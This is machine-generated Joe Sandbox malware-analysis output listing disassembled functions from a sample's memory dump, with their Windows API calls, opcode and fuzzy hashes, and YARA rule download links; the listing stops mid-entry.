Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: BeginPaintWindow$ClientLongPathRectRectangleScreenViewport
String ID:
API String ID: 3050599898-0
Opcode ID: 0c246fef1cc3a881da84d4e74ebeea32ddd29bca5d46d24695972a2acfcb03e3
Instruction ID: 545b6b04968487f833eca11160505099abafa373a5eea883581d5b3943a866c9
Opcode Fuzzy Hash: 0c246fef1cc3a881da84d4e74ebeea32ddd29bca5d46d24695972a2acfcb03e3
Instruction Fuzzy Hash: 5B419131608301AFD721EF24CC89FBB7BA8EF46320F140269F998872E1C7759945EB61

Function 00FA07EF Relevance: 9.1, APIs: 6, Instructions: 107fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 00FA080C
ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 00FA0847
EnterCriticalSection.KERNEL32(?), ref: 00FA0863
LeaveCriticalSection.KERNEL32(?), ref: 00FA08DC
ReadFile.KERNEL32(?,?,0000FFFF,00000000,00000000), ref: 00FA08F3
InterlockedExchange.KERNEL32(?,000001F6), ref: 00FA0921

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection$EnterLeave
String ID:
API String ID: 3368777196-0
Opcode ID: 1d72791b998798b0052fe1e78fa111813ff8e51756d225643a32209602a8db99
Instruction ID: 98d948fc84e3f77e3259e5ac559735b81e95e7d384df232913599d448724e8d6
Opcode Fuzzy Hash: 1d72791b998798b0052fe1e78fa111813ff8e51756d225643a32209602a8db99
Instruction Fuzzy Hash: B7417C71900209EFDF149F54DC85AAAB7B8FF05310F1440A9ED049B297DB34DE65EBA4

Function 00FC81DB Relevance: 9.1, APIs: 6, Instructions: 104windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000000,?,?,?,?,00F86C2A), ref: 00FC824C
EnableWindow.USER32(?,00000000), ref: 00FC8272
ShowWindow.USER32(?,00000000,?,?,?,?,00F86C2A), ref: 00FC82D1
ShowWindow.USER32(?,00000004,?,?,?,?,00F86C2A), ref: 00FC82E5
EnableWindow.USER32(?,00000001), ref: 00FC830B
SendMessageW.USER32(?,0000130C,?,00000000), ref: 00FC832F

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: 9f2bfdf7c161bbfc78181579a81a0680b54aad369af3a07a06f4faaf45f96cbc
Instruction ID: ce1ed3d66f1645423ede8ba1bd3d08d3c20f4774d7f754127d66d38f2df23064
Opcode Fuzzy Hash: 9f2bfdf7c161bbfc78181579a81a0680b54aad369af3a07a06f4faaf45f96cbc
Instruction Fuzzy Hash: E341B934A01645EFDB22CF15CA8AFE47BE0FB06764F18516DE5484F262CB32A842EF50

Function 00F94C7D Relevance: 9.1, APIs: 6, Instructions: 87windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00F94C95
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00F94CB2
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00F94CEA
_wcslen.LIBCMT ref: 00F94D08
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00F94D10
_wcsstr.LIBVCRUNTIME ref: 00F94D1A

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcslen_wcsstr
String ID:
API String ID: 72514467-0
Opcode ID: 628f982eaa338c150b004c91528e2832ef512056661e93f830b96d07489143f4
Instruction ID: ca75e8ab7f81fc78c8bc3ce2b6c9a834c93541015d93d3956fabb2b3480534a4
Opcode Fuzzy Hash: 628f982eaa338c150b004c91528e2832ef512056661e93f830b96d07489143f4
Instruction Fuzzy Hash: B4212936A042047BFF155B35ED0AE7B7F9CDF55760F10402AF809CB191EA65EC01B6A0

Function 00FA581E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 336comCOMMON

Download Yara Rule

APIs

Part of subcall function 00F33AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00F33A97,?,?,00F32E7F,?,?,?,00000000), ref: 00F33AC2

_wcslen.LIBCMT ref: 00FA587B
CoInitialize.OLE32(00000000), ref: 00FA5995
CoCreateInstance.OLE32(00FCFCF8,00000000,00000001,00FCFB68,?), ref: 00FA59AE
CoUninitialize.OLE32 ref: 00FA59CC

Strings

.lnk, xrefs: 00FA5876, 00FA58C1, 00FA5985

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize_wcslen
String ID: .lnk
API String ID: 3172280962-24824748
Opcode ID: 696904c6f9f25b335417546040b45a6984a56e7b00d98044bad99af8be55b215
Instruction ID: 398e7affa00d16a19d5dc451be9adb73797cd8db24a4da124c3b4d8a889c699c
Opcode Fuzzy Hash: 696904c6f9f25b335417546040b45a6984a56e7b00d98044bad99af8be55b215
Instruction Fuzzy Hash: 0FD166B5A047019FC714DF25C880A2ABBE5FF8AB20F14885DF8899B361D735EC45DB92

Function 00F9175D Relevance: 9.1, APIs: 6, Instructions: 68memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00F90FB4: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00F90FCA
Part of subcall function 00F90FB4: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00F90FD6
Part of subcall function 00F90FB4: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00F90FE5
Part of subcall function 00F90FB4: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00F90FEC
Part of subcall function 00F90FB4: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00F91002

GetLengthSid.ADVAPI32(?,00000000,00F91335), ref: 00F917AE
GetProcessHeap.KERNEL32(00000008,00000000), ref: 00F917BA
HeapAlloc.KERNEL32(00000000), ref: 00F917C1
CopySid.ADVAPI32(00000000,00000000,?), ref: 00F917DA
GetProcessHeap.KERNEL32(00000000,00000000,00F91335), ref: 00F917EE
HeapFree.KERNEL32(00000000), ref: 00F917F5

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: df23123833eaaf32221ddbd2587828e9b75b719c07658df5561bf436fab36b5e
Instruction ID: 2d5236ad9d3c61401fbf0c4ffd48a6434aeefe81b675b53bc36e4f5c3c6a62e0
Opcode Fuzzy Hash: df23123833eaaf32221ddbd2587828e9b75b719c07658df5561bf436fab36b5e
Instruction Fuzzy Hash: 7911AC3290020AFFEF119FA5CD4AFAF7BA9FB41365F144028F44597221C739A940EBA0

Function 00F914CE Relevance: 9.1, APIs: 6, Instructions: 64processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 00F914FF
OpenProcessToken.ADVAPI32(00000000), ref: 00F91506
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00F91515
CloseHandle.KERNEL32(00000004), ref: 00F91520
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00F9154F
DestroyEnvironmentBlock.USERENV(00000000), ref: 00F91563

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: fa42eaaf1faaeb196f894ccd1dafbe2b027d180b4e63cc8b23bd98b57a74b9d6
Instruction ID: b9444e9c2cc4f2321ac5cd28b7d10830b69c4d2d6b8b850e792eac43d4afa2b1
Opcode Fuzzy Hash: fa42eaaf1faaeb196f894ccd1dafbe2b027d180b4e63cc8b23bd98b57a74b9d6
Instruction Fuzzy Hash: C5111A7250024EABEF12CF98DE49FDA7BA9FF49754F054025FA05A2060C3768E61AB60

Function 00F53382 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00F53379,00F52FE5), ref: 00F53390
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00F5339E
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00F533B7
SetLastError.KERNEL32(00000000,?,00F53379,00F52FE5), ref: 00F53409

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: a175758009a3e1fd59792d130facd9f9cec609ef305f0739054c67d7c1d832a8
Instruction ID: 8bfb04a77b69eb68bb435842096da64f7d912c9ac7fbddf3628a0db9fb5e17e4
Opcode Fuzzy Hash: a175758009a3e1fd59792d130facd9f9cec609ef305f0739054c67d7c1d832a8
Instruction Fuzzy Hash: B301B533A09329AEE615277C7D86A663E58DF053FB720022DFE10851F1EF554D0AB588

Function 00F62D74 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00F65686,00F73CD6,?,00000000,?,00F65B6A,?,?,?,?,?,00F5E6D1,?,00FF8A48), ref: 00F62D78
_free.LIBCMT ref: 00F62DAB
_free.LIBCMT ref: 00F62DD3
SetLastError.KERNEL32(00000000,?,?,?,?,00F5E6D1,?,00FF8A48,00000010,00F34F4A,?,?,00000000,00F73CD6), ref: 00F62DE0
SetLastError.KERNEL32(00000000,?,?,?,?,00F5E6D1,?,00FF8A48,00000010,00F34F4A,?,?,00000000,00F73CD6), ref: 00F62DEC
_abort.LIBCMT ref: 00F62DF2

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 81b5c04f40282a77e11b73b5c8bb2c8a2e9ac8b2965e1a88b8c004082194b095
Instruction ID: 0450a4dc0566e9defa97b2e03db9d944f721e227956adf8889668de538f9fe6b
Opcode Fuzzy Hash: 81b5c04f40282a77e11b73b5c8bb2c8a2e9ac8b2965e1a88b8c004082194b095
Instruction Fuzzy Hash: 43F0C832E05E1527C3923739BD16F6E356DAFC27B1F250519F828931D6EF28880272A0

Function 00FC8A24 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 00F49639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00F49693
Part of subcall function 00F49639: SelectObject.GDI32(?,00000000), ref: 00F496A2
Part of subcall function 00F49639: BeginPath.GDI32(?), ref: 00F496B9
Part of subcall function 00F49639: SelectObject.GDI32(?,00000000), ref: 00F496E2

MoveToEx.GDI32(?,-00000002,00000000,00000000), ref: 00FC8A4E
LineTo.GDI32(?,00000003,00000000), ref: 00FC8A62
MoveToEx.GDI32(?,00000000,-00000002,00000000), ref: 00FC8A70
LineTo.GDI32(?,00000000,00000003), ref: 00FC8A80
EndPath.GDI32(?), ref: 00FC8A90
StrokePath.GDI32(?), ref: 00FC8AA0

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: 859806fb41bc43775542a447cae9e32963f06a0985b1308590483ff211a33c39
Instruction ID: f850df26a5e1e46ad96711fc6d2467278d67d361d4d15f59cba1a0654929e3b9
Opcode Fuzzy Hash: 859806fb41bc43775542a447cae9e32963f06a0985b1308590483ff211a33c39
Instruction Fuzzy Hash: AE11097644010DFFDB129F90DD89EAA7F6CEB08390F048016FA599A1A1C7729D55EFA0

Function 00F951FD Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00F95218
GetDeviceCaps.GDI32(00000000,00000058), ref: 00F95229
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00F95230
ReleaseDC.USER32(00000000,00000000), ref: 00F95238
MulDiv.KERNEL32(000009EC,?,00000000), ref: 00F9524F
MulDiv.KERNEL32(000009EC,00000001,?), ref: 00F95261

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 10969ddb90bba011222401d2698ee146da33a389b64b186db9b49753af71e373
Instruction ID: ca30bc7bf841b3472f23890a763e62255cb6f0aff9eff6ab1ce47ef195f88b6d
Opcode Fuzzy Hash: 10969ddb90bba011222401d2698ee146da33a389b64b186db9b49753af71e373
Instruction Fuzzy Hash: BB018475E01708BBEF105BA59D4AE4EBF78EB44751F044065FA08A7280D6709800DBA0

Function 00F31BC3 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00F31BF4
MapVirtualKeyW.USER32(00000010,00000000), ref: 00F31BFC
MapVirtualKeyW.USER32(000000A0,00000000), ref: 00F31C07
MapVirtualKeyW.USER32(000000A1,00000000), ref: 00F31C12
MapVirtualKeyW.USER32(00000011,00000000), ref: 00F31C1A
MapVirtualKeyW.USER32(00000012,00000000), ref: 00F31C22

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: 8557dd3bb649fae0f15c8831364d3896f253883c04ae49aedb72e8a983dba543
Instruction ID: 37f0e19f2c8846bbb16a2589e9272c1a2b61fb8f43e42a892d8f83bb0facc490
Opcode Fuzzy Hash: 8557dd3bb649fae0f15c8831364d3896f253883c04ae49aedb72e8a983dba543
Instruction Fuzzy Hash: A50167B0902B5ABDE3008F6A8C85B52FFA8FF19354F00411BE15C4BA42C7F5A864CBE5

Function 00F9EB20 Relevance: 9.0, APIs: 6, Instructions: 42windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00F9EB30
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00F9EB46
GetWindowThreadProcessId.USER32(?,?), ref: 00F9EB55
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00F9EB64
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00F9EB6E
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00F9EB75

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: b277e2c5883c5243653607a608f67d736f93fe945957a66b9aacd779d35e36f8
Instruction ID: faf9e1b729c313b92347992b1ae5ad31732b55c6b5687c1153e93032cd32690c
Opcode Fuzzy Hash: b277e2c5883c5243653607a608f67d736f93fe945957a66b9aacd779d35e36f8
Instruction Fuzzy Hash: 29F03A72A4015CBBE7215B639E0EEEF3A7CEFCAB15F000158F609D2091D7A15A01EAF5

Function 00F91874 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 00F9187F
UnloadUserProfile.USERENV(?,?), ref: 00F9188B
CloseHandle.KERNEL32(?), ref: 00F91894
CloseHandle.KERNEL32(?), ref: 00F9189C
GetProcessHeap.KERNEL32(00000000,?), ref: 00F918A5
HeapFree.KERNEL32(00000000), ref: 00F918AC

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: 3386af84c6987b7fcaf6d9dcdab1511a72c274ea4820873ca94364af8a9bf220
Instruction ID: ef155633d59e276a5af5091e68882571fa7643a5aa355976980335e276226bd7
Opcode Fuzzy Hash: 3386af84c6987b7fcaf6d9dcdab1511a72c274ea4820873ca94364af8a9bf220
Instruction Fuzzy Hash: 87E0ED36404509BBDB015FA2EE0DD05BF39FF497217108220F22982471CB335420EF90

Function 00F9C5D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 191windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F37620: _wcslen.LIBCMT ref: 00F37625

GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00F9C6EE
_wcslen.LIBCMT ref: 00F9C735
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00F9C79C
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00F9C7CA

Strings

0, xrefs: 00F9C6AF

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ItemMenu$Info_wcslen$Default
String ID: 0
API String ID: 1227352736-4108050209
Opcode ID: ea4ff5280ce5b3d566871c0673055cec4bc26c002f1867d98dd584d759288850
Instruction ID: f92fb6b11d25ac4061ab42134f943a575ac20d3e6ea1e49fd1e1279f7d25fc3e
Opcode Fuzzy Hash: ea4ff5280ce5b3d566871c0673055cec4bc26c002f1867d98dd584d759288850
Instruction Fuzzy Hash: D551AF71A043009BEB159F68C985B6B77E4AF89320F040A2DF999D31D1DB74D908EBD3

Function 00FBAD64 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(0000003C), ref: 00FBAEA3

Part of subcall function 00F37620: _wcslen.LIBCMT ref: 00F37625

GetProcessId.KERNEL32(00000000), ref: 00FBAF38
CloseHandle.KERNEL32(00000000), ref: 00FBAF67

Strings

<, xrefs: 00FBAE6B
@, xrefs: 00FBAE72

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: CloseExecuteHandleProcessShell_wcslen
String ID: <$@
API String ID: 146682121-1426351568
Opcode ID: ecd0381009f44337ed858523e457fc3b932525d0ed72467063142dd88198a9cc
Instruction ID: b597d7ee9e031a87c508b610e0b9cb2ac27562155db3c3164940831a52da74d6
Opcode Fuzzy Hash: ecd0381009f44337ed858523e457fc3b932525d0ed72467063142dd88198a9cc
Instruction Fuzzy Hash: FB716975A00619DFCB14EF66C885A9EBBF0BF08320F048499E856AB352C774ED45EF91

Function 00F9719E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00F97206
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 00F9723C
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 00F9724D
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00F972CF

Strings

